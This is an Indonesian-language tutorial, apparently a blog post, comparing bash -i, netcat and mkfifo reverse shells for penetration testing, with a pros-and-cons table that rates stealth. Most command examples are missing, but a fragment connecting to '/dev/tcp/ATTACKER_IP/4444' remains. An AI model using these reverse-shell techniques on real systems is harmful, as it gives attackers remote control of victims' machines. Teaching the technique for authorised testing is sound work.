Pendahuluan
Dalam dunia cybersecurity dan penetration testing, ada banyak cara untuk mendapatkan akses ke sistem target. Salah satu teknik yang cukup sering dipakai adalah reverse shell.
Reverse shell memungkinkan seorang attacker atau penetration tester untuk membuat koneksi dari mesin korban ke mesin attacker. Dengan begitu, attacker bisa menjalankan perintah pada sistem target seolah-olah sedang duduk langsung di terminalnya.
Ada banyak cara untuk membuat reverse shell, namun tiga metode yang cukup populer adalah menggunakan bash -i, netcat (nc), dan mkfifo. Artikel ini akan membahas bagaimana cara kerjanya, apa kelebihan dan kekurangannya, lalu membandingkannya secara sederhana.
Apa Itu Reverse Shell?
Sebelum masuk ke teknis, mari kita pahami dulu.
-
Bind Shell: mesin korban membuka port dan attacker masuk ke sana.
-
Reverse Shell: mesin korban yang justru “menelpon” ke attacker, lalu attacker mengendalikan dari jauh.
Kenapa reverse shell sering dipilih? Karena firewall biasanya lebih longgar terhadap koneksi keluar dibanding koneksi masuk. Jadi lebih mudah “menyelinap” keluar daripada membuka pintu masuk.
Reverse Shell dengan Bash -i
Metode pertama adalah memanfaatkan bash. Hampir semua sistem Linux punya Bash, jadi ini metode yang cepat dan sederhana.
Contoh perintah:
-
-i
artinya interactive. -
/dev/tcp/ATTACKER_IP/4444
membuat koneksi TCP ke mesin attacker di port 4444.
Kelebihan:
-
Sangat simpel, hanya satu baris.
-
Tidak butuh tools tambahan, cukup Bash saja.
Kekurangan:
-
Tidak semua sistem punya Bash (misalnya ada yang hanya sh).
-
Shell yang didapat kadang tidak interaktif penuh (susah pakai
nano
,top
, dll). -
Bisa mudah terdeteksi.
Reverse Shell dengan Netcat (nc)
Metode kedua menggunakan netcat, yang sering disebut sebagai “Swiss Army Knife of Networking”.
Contoh perintah:
Atau jika -e
tidak ada:
Kelebihan:
-
Praktis dan fleksibel.
-
Banyak digunakan dalam contoh-contoh exploit.
Kekurangan:
-
Tidak semua versi
nc
mendukung opsi-e
. -
Bisa mudah terdeteksi oleh sistem keamanan.
-
Kadang
nc
tidak tersedia di sistem target.
Reverse Shell dengan mkfifo
Metode ketiga menggunakan mkfifo (membuat file FIFO/pipe).
Contoh perintah:
Di sini, mkfifo
membuat sebuah pipe (semacam “pipa komunikasi” di Linux). Data yang masuk ke pipe diteruskan ke shell (/bin/sh
), lalu hasilnya dikirim balik lewat netcat.
Kelebihan:
-
Memanfaatkan tool bawaan Linux (
mkfifo
,cat
,sh
). -
Bisa dijalankan meski netcat tidak punya
-e
. -
Lebih stealth dibanding hanya
bash -i
.
Kekurangan:
-
Lebih panjang dan kompleks.
-
Meninggalkan jejak file FIFO di
/tmp
.
Perbandingan Tiga Metode
Metode | Tools Dibutuhkan | Kemudahan | Stealth | Portabilitas | Kelemahan |
---|---|---|---|---|---|
Bash -i | Bash | Sangat mudah | Rendah | Tinggi (umum di Linux) | Tidak interaktif penuh |
Netcat | nc | Mudah | Sedang | Bergantung versi nc | Tidak selalu ada |
mkfifo | mkfifo, cat, sh, nc | Sedang | Tinggi | Hampir selalu ada | Agak rumit |
Kesimpulan
Tidak ada metode reverse shell yang sempurna. Semuanya punya tempat dan kegunaan masing-masing:
-
Bash -i cocok dipakai cepat-cepat kalau Bash tersedia.
-
Netcat bagus kalau ada di sistem target, tapi hati-hati karena sering diblok.
-
mkfifo jadi pilihan kreatif kalau metode lain gagal, karena hanya pakai tool bawaan Linux.
Sebagai seorang penetration tester atau red teamer, penting untuk menguasai semua metode ini. Karena di lapangan, setiap sistem target berbeda — kadang ada Bash, kadang tidak; kadang ada nc dengan -e
, kadang tidak. Semakin banyak teknik yang dikuasai, semakin fleksibel kita dalam menghadapi situasi nyata.